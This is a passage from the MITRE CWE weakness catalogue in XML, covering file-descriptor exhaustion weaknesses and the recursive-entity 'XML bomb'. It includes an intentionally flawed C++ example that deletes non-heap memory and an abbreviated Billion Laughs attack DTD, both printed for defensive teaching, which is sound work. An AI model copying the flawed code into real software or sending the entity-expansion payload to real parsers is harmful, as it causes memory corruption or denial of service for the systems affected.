				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-86">
					          <Intro_Text>In this example, the program calls the delete[] function on non-heap
						memory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class A{</Code>
							              <Block>
								                <Code>void foo(bool);</Code>
							              </Block>
							              <Code>};</Code>
							              <Code>void A::foo(bool heap) {</Code>
							              <Block>
								                <Code>int localArray[2] = {</Code>
								                <Block>
									                  <Code>11,22</Code>
								                </Block>
								                <Code>};</Code>
								                <Code>int *p = localArray;</Code>
								                <Code>if (heap){</Code>
								                <Block>
									                  <Code>p = new int[2];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>delete[] p;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0897</Observed_Example_Reference>
					          <Observed_Example_Description> Chain: anti-virus product encounters a malformed
						file but returns from a function without closing a file descriptor (CWE-775)
						leading to file descriptor consumption (CWE-400) and failed scans.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0830</Observed_Example_Reference>
					          <Observed_Example_Description>Sockets not properly closed when attacker
						repeatedly connects and disconnects from
						server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1127</Observed_Example_Reference>
					          <Observed_Example_Description>Does not shut down named pipe connections if
						malformed data is sent.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2858</Observed_Example_Reference>
					          <Observed_Example_Description> Chain: memory leak (CWE-404) leads to resource
						exhaustion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2054</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows exhaustion of file descriptors
						when processing a large number of TCP
						packets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2122</Observed_Example_Reference>
					          <Observed_Example_Description>Port scan triggers CPU consumption with processes
						that attempt to read data from closed
						sockets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4103</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows resource exhaustion via a large
						number of calls that do not complete a 3-way
						handshake.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1372</Observed_Example_Reference>
					          <Observed_Example_Description> Return values of file/socket operations not
						checked, allowing resultant consumption of file
						descriptors.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use lock classes for mutex management</Mapped_Node_Name>
					          <Mapped_Node_ID>CON02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>469</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="773" Name="Missing Reference to Active File Descriptor or Handle" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly maintain references to a file
					descriptor or handle, which prevents that file descriptor/handle from being
					reclaimed.</Description_Summary>
				        <Extended_Description>
					          <Text>This can cause the software to consume all available file descriptors or
						handles, which can prevent other processes from performing critical file
						processing operations.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>771</Relationship_Target_ID>
					          <!--Missing Reference to Active Allocated Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>769</Relationship_Target_ID>
					          <!--File Descriptor Exhaustion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							all other processes from accessing the same type of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="774" Name="Allocation of File Descriptors or Handles Without Limits or Throttling" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software allocates file descriptors or handles on behalf of
					an actor without imposing any restrictions on how many descriptors can be
					allocated, in violation of the intended security policy for that
					actor.</Description_Summary>
				        <Extended_Description>
					          <Text>This can cause the software to consume all available file descriptors or
						handles, which can prevent other processes from performing critical file
						processing operations.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>770</Relationship_Target_ID>
					          <!--Allocation of Resources Without Limits or Throttling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>769</Relationship_Target_ID>
					          <!--File Descriptor Exhaustion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							all other processes from accessing the same type of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "Resource Limits", Page 574.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="775" Name="Missing Release of File Descriptor or Handle after Effective Lifetime" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not release a file descriptor or handle after
					its effective lifetime has ended, i.e., after the file descriptor/handle is no
					longer needed.</Description_Summary>
				        <Extended_Description>
					          <Text>When a file descriptor or handle is not released after use (typically by
						explicitly closing it), attackers can cause a denial of service by consuming
						all available file descriptors/handles, or otherwise preventing other system
						processes from obtaining their own file descriptors/handles.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>772</Relationship_Target_ID>
					          <!--Missing Release of Resource after Effective Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>769</Relationship_Target_ID>
					          <!--File Descriptor Exhaustion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							all other processes from accessing the same type of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0897</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: anti-virus product encounters a malformed
						file but returns from a function without closing a file descriptor (CWE-775)
						leading to file descriptor consumption (CWE-400) and failed scans.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "File Descriptor Leaks", Page
						582.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="776" Name="Unrestricted Recursive Entity References in DTDs ('XML Bomb')" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software requires the use of XML documents and allows their
					structure to be defined with a Document Type Definition (DTD). The software
					allows the DTD to recursively define entities which can lead to explosive growth
					of data when parsed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>409</Relationship_Target_ID>
					          <!--Improper Handling of Highly Compressed Data (Data Amplification)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="XML"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Billion Laughs Attack</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If parsed, recursive entity references allow the attacker to expand
							data exponentially, quickly consuming all system resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If possible, prohibit the use of DTDs or use an XML parser that limits
							the expansion of recursive DTD entities.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Before parsing XML files with associated DTDs, scan for recursive
							entity declarations and do not continue parsing potentially explosive
							content.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-53">
					          <Intro_Text>The DTD and the very brief XML below illustrate what is meant by an
						XML bomb. The ZERO entity contains one character, the letter A. The choice
						of entity name ZERO is being used to indicate length equivalent to that
						exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers
						to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or
						2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32
						characters in length, or 4 GB, probably consuming far more data than
						expected.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;?xml version="1.0"?&gt;</Code>
							              <Code>&lt;!DOCTYPE MaliciousDTD [</Code>
							              <Code>&lt;!ENTITY ZERO "A"&gt;</Code>
							              <Code>&lt;!ENTITY ONE "&amp;ZERO;&amp;ZERO;"&gt;</Code>
							              <Code>&lt;!ENTITY TWO "&amp;ONE;&amp;ONE;"&gt;</Code>
							              <Code>...</Code>
							              <Code>&lt;!ENTITY THIRTYTWO "&amp;THIRTYONE;&amp;THIRTYONE;"&gt;</Code>
							              <Code>]&gt;</Code>
							              <Code>&lt;data&gt;&amp;THIRTYTWO;&lt;/data&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1955</Observed_Example_Reference>
					          <Observed_Example_Description>XML bomb in web server
						module</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1564</Observed_Example_Reference>
					          <Observed_Example_Description>Parsing library allows XML
						bomb</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Amit Klein</Reference_Author>
					          <Reference_Title>Multiple vendors XML parser (and SOAP/WebServices server)
						Denial of Service attack using DTD</Reference_Title>
					          <Reference_Date>2002-12-16</Reference_Date>
					          <Reference_Link>http://www.securityfocus.com/archive/1/303509</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rami Jaamour</Reference_Author>
					          <Reference_Title>XML security: Preventing XML bombs</Reference_Title>
					          <Reference_Date>2006-02-22</Reference_Date>
					          <Reference_Link>http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&amp;psrc=CLT_92#</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Didier Stevens</Reference_Author>
					          <Reference_Title>Dismantling an XML-Bomb</Reference_Title>
					          <Reference_Date>2008-09-23</Reference_Date>
					          <Reference_Link>http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Robert Auger</Reference_Author>
					          <Reference_Title>XML Entity Expansion</Reference_Title>
					          <Reference_Link>http://projects.webappsec.org/XML-Entity-Expansion</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Elliotte Rusty Harold</Reference_Author>
					          <Reference_Title>Tip: Configure SAX parsers for secure
						processing</Reference_Title>
					          <Reference_Date>2005-05-27</Reference_Date>
					          <Reference_Link>http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html</Reference_Link>
				        </Reference>
				        <Reference/>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XML Entity Expansion </Mapped_Node_Name>
					          <Mapped_Node_ID>44</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-06-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="777" Name="Regular Expression without Anchors" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a regular expression to perform
					neutralization, but the regular expression is not anchored and may allow
					malicious or malformed data to slip through.</Description_Summary>
				        <Extended_Description>
					          <Text>When performing tasks such as whitelist validation, data is examined and
						possibly modified to ensure that it is well-formed and adheres to a list of
						safe values. If the regular expression is not anchored, malicious or
						malformed data may be included before or after any string matching the
						regular expression. The type of malicious data that is allowed will depend
						on the context of the application and which anchors are omitted from the
						regular expression.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
